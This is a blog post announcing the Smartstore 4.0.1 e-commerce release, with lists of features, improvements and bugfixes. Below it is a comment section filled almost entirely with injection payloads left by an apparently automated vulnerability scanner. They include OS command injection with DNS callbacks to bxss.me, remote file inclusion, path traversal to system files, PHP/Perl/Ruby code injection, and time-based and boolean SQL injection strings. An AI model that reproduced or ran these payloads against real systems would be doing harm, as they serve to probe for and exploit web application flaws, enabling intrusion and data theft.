Sunday, July 26, 2020

Smartstore 4.0.1 is available

New Features

  • Check on app startup whether any plugin has changed and refresh all plugin locale resources.

Improvements

  • Theming: minimal but effective tweaks (rounding, shadows, typo)
  • (SEO) (PERF) Preload logo to prevent flashing and web fonts to avoid FOUT on slow internet connection
  • Rule Builder:
    • The preview grid is now displayed in a modal dialog.
    • Added more cart rules: weekday, total quantity of products in cart.
    • Added list with example values for browser, operating system and device family rule.
  • The localized ALT text of media files is now respected for all frontend images.
  • SEO: most images in frontend now carry loading="lazy" attribute which loads images only when they enter visible viewport.
  • Media Manager:
    • Improved image lazy loading behavior.
    • The reference table of a file now remains open if its data has been loaded.
    • Migration: detect duplicate file names.
  • Improved handling of customer roles, e.g. paging for customer role grid.
  • (PERF) Use direct SQL to delete guest customers.
  • Blog & News items: Unpublished items are visible for shop admins now

Bugfixes

  • Order placement validation now also checks whether the selected payment method has been filtered out.
  •  The button to cancel recurring payments in my-account was out of function.
  • (pb) Flat Box did not invert text color if concrete colors were specified for text parts
  • (mm) Store logo is handled by "content" album, not "file"
  • (mm) Tracker tracks only the last media file property
  • (mm) Migration: Download entity was teared down too early in the migration process.
  • (perf) Plugin hash calculation was broken in a way that every plugin was redeployed on each app startup
  • A cart rule was not applied if more than one cart rule was assigned to an object.
  • MegaSearch: fixed the incorrect featured sorting.
  • Added missing paging for shipment list.
  • "Show all" link in top brands list is always rendered in new line but should be last item in last row.
Leave your comment

Comments (61)

G
one year ago | Guest
Mr.

response.write(9240136*9392254)

G
one year ago | Guest
Mr.

'+response.write(9240136*9392254)+'

G
one year ago | Guest
Mr.

"+response.write(9240136*9392254)+"

G
one year ago | Guest
Mr.

echo hpegvh$()\ ufthji\nz^xyu||a #' &echo hpegvh$()\ ufthji\nz^xyu||a #|" &echo hpegvh$()\ ufthji\nz^xyu||a #

G
one year ago | Guest
Mr.

&echo oyfzev$()\ wspcft\nz^xyu||a #' &echo oyfzev$()\ wspcft\nz^xyu||a #|" &echo oyfzev$()\ wspcft\nz^xyu||a #

G
one year ago | Guest
Mr.

|echo afpyta$()\ qjokit\nz^xyu||a #' |echo afpyta$()\ qjokit\nz^xyu||a #|" |echo afpyta$()\ qjokit\nz^xyu||a #

G
one year ago | Guest
Mr.

(nslookup hitdkfcixsybq1b898.bxss.me||perl -e "gethostbyname('hitdkfcixsybq1b898.bxss.me')")

G
one year ago | Guest
Mr.

$(nslookup hitgnrjdkzpgq3b059.bxss.me||perl -e "gethostbyname('hitgnrjdkzpgq3b059.bxss.me')")

G
one year ago | Guest
Mr.

&(nslookup hithcuvzhmpin03f04.bxss.me||perl -e "gethostbyname('hithcuvzhmpin03f04.bxss.me')")&'\"`0&(nslookup hithcuvzhmpin03f04.bxss.me||perl -e "gethostbyname('hithcuvzhmpin03f04.bxss.me')")&`'

G
one year ago | Guest
Mr.

|(nslookup hitbpmfrjjhys036fa.bxss.me||perl -e "gethostbyname('hitbpmfrjjhys036fa.bxss.me')")

G
one year ago | Guest
Mr.

`(nslookup hitsorhbzhryu0cae4.bxss.me||perl -e "gethostbyname('hitsorhbzhryu0cae4.bxss.me')")`

G
one year ago | Guest
Mr.

;(nslookup hitxnwkxbtift058fe.bxss.me||perl -e "gethostbyname('hitxnwkxbtift058fe.bxss.me')")|(nslookup hitxnwkxbtift058fe.bxss.me||perl -e "gethostbyname('hitxnwkxbtift058fe.bxss.me')")&(nslookup hitxnwkxbtift058fe.bxss.me||perl -e "gethostbyname('hitxnwkxbtift058fe.bxss.me')")

G
one year ago | Guest
Mr.

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

G
one year ago | Guest
Mr.

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

G
one year ago | Guest
Mr.

Http://bxss.me/t/fit.txt

G
one year ago | Guest
Mr.

http://bxss.me/t/fit.txt?.jpg

G
one year ago | Guest
Mr.

/etc/shells

G
one year ago | Guest
Mr.

c:/windows/win.ini

G
one year ago | Guest
Mr.

bxss.me

G
one year ago | Guest
Mr.

'.gethostbyname(lc('hitxm'.'ofzikwqb65d91.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(84).chr(116).chr(68).'

G
one year ago | Guest
Mr.

".gethostbyname(lc("hitwp"."dfkfotcja001c.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(85).chr(119).chr(88)."

G
one year ago | Guest
Mr.

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

G
one year ago | Guest
Mr.

';print(md5(31337));$a='

G
one year ago | Guest
Mr.

";print(md5(31337));$a="

G
one year ago | Guest
Mr.

${@print(md5(31337))}

G
one year ago | Guest
Mr.

"+"A".concat(70-3).concat(22*4).concat(117).concat(85).concat(110).concat(90)+(require"socket"
Socket.gethostbyname("hitvd"+"gpcmfzxk38973.bxss.me.")[3].to_s)+"

G
one year ago | Guest
Mr.

'+'A'.concat(70-3).concat(22*4).concat(100).concat(74).concat(105).concat(82)+(require'socket'
Socket.gethostbyname('hitej'+'kvfagtgx4a796.bxss.me.')[3].to_s)+'

G
one year ago | Guest
Mr.

${@print(md5(31337))}\

G
one year ago | Guest
Mr.

'.print(md5(31337)).'

G
one year ago | Guest
Mr.

-1 OR 2+455-455-1=0+0+0+1 --

G
one year ago | Guest
Mr.

-1 OR 3+455-455-1=0+0+0+1 --

G
one year ago | Guest
Mr.

-1 OR 2+93-93-1=0+0+0+1

G
one year ago | Guest
Mr.

-1 OR 3+93-93-1=0+0+0+1

G
one year ago | Guest
Mr.

-1' OR 2+635-635-1=0+0+0+1 --

G
one year ago | Guest
Mr.

-1' OR 3+635-635-1=0+0+0+1 --

G
one year ago | Guest
Mr.

-1' OR 2+583-583-1=0+0+0+1 or 'ob03Ivim'='

G
one year ago | Guest
Mr.

-1' OR 3+583-583-1=0+0+0+1 or 'ob03Ivim'='

G
one year ago | Guest
Mr.

-1" OR 2+636-636-1=0+0+0+1 --

G
one year ago | Guest
Mr.

-1" OR 3+636-636-1=0+0+0+1 --

G
one year ago | Guest
Mr.

if(now()=sysdate(),sleep(15),0)

G
one year ago | Guest
Mr.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

G
one year ago | Guest
Mr.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

G
one year ago | Guest
Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

G
one year ago | Guest
Mr.

-1; waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

-1); waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

-1)); waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

1 waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

1d1OjYic'; waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

PvAxd7vi'); waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

lAQzdJ7M')); waitfor delay '0:0:15' --

G
one year ago | Guest
Mr.

-5 OR 513=(SELECT 513 FROM PG_SLEEP(15))--

G
one year ago | Guest
Mr.

-5) OR 822=(SELECT 822 FROM PG_SLEEP(15))--

G
one year ago | Guest
Mr.

-1)) OR 183=(SELECT 183 FROM PG_SLEEP(15))--

G
one year ago | Guest
Mr.

QxWmIvmu' OR 873=(SELECT 873 FROM PG_SLEEP(15))--

G
one year ago | Guest
Mr.

9flAuQCc') OR 231=(SELECT 231 FROM PG_SLEEP(15))--

G
one year ago | Guest
Mr.

kbhpWDkq')) OR 801=(SELECT 801 FROM PG_SLEEP(15))--

G
one year ago | Guest
Mr.


*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

G
one year ago | Guest
Mr.


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

G
one year ago | Guest
Mr.

1'"

G
one year ago | Guest
Mr.

1����%2527%2522

G
one year ago | Guest
Mr.

@@Pbkt4